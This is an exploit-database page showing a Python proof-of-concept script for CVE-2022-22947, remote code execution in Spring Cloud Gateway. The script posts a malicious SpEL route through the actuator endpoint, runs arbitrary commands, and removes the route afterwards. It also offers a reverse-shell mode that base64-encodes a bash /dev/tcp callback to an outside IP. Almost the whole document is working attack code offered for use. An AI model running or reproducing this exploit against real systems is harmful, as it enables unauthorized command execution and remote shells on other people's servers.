Exploit databaseDownload repository ZIP
GH-2ce2bf2311ae8ad83977feb83d2a48e3
moch3n/cve-2022-22947-spring-cloud-gateway-spelrce
Sources for CVE-2022-22947
63 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
moch3n/cve-2022-22947-spring-cloud-gateway-spelrceRevision 914f88a9645a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2022-22947.py
Python · 3,247 bytesimport requests
import json
import sys
import re
import base64
def revershell(url):
commond = input("Please input your commond for reverse shell , such as (\"bash -i >& /dev/tcp/192.168.190.177/5000 0>&1\"): \n")
if "bash" not in commond:
print("Error!!!")
else:
shell = bas64(commond)
exec(url,shell)
def bas64(commond):
shell = commond
base64shell = base64.b64encode(shell.encode('utf-8'))
rever_shell = "bash -c {echo,"+base64shell.decode('utf-8')+"}|{base64,-d}|{bash,-i}"
return rever_shell
def exec(url,commond):
headers1 = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}
headers2 = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
payload = '''{\r
"id": "hacktest",\r
"filters": [{\r
"name": "AddResponseHeader",\r
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String(\\"%s\\")).getInputStream()))}"}\r
}],\r
"uri": "http://example.com",\r
"order": 0\r
}'''%commond
re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
result = re.findall(r"Result = '.*']",re3.text)
list1 = []
if result == list1:
print("Result is null!")
exit()
else:
result = result[0].replace("\\n","")
print("The commond result is : \n")
print(result)
if __name__ == "__main__":
print('''
___ _ __ _ __(_)_ __ __ _ ___| | ___ _ _ __| | ___ __ _
/ __| '_ \| '__| | '_ \ / _` |_____ / __| |/ _ \| | | |/ _` |_____/ __|/ _` |
\__ \ |_) | | | | | | | (_| |_____| (__| | (_) | |_| | (_| |_____\__ \ (_| |
|___/ .__/|_| |_|_| |_|\__, | \___|_|\___/ \__,_|\__,_| |___/\__, |
|_| |___/ |_|
_ ____ ____ _____
___| | _ \ / ___| ____|
/ _ \ | |_) | | | _|
| __/ | _ <| |___| |___
\___|_|_| \_\\____|_____|
Usage: python3 CVE-2022-22947.py url
(If you want to get the reverse shell,please input: shell)
''')
if(len(sys.argv)>1):
url = sys.argv[1]
commond = input("Please input your commond: ")
print("---------------------------------------")
if commond == "shell":
revershell(url)
else:
exec(url,commond)
else:
print("Error!!!")
exit()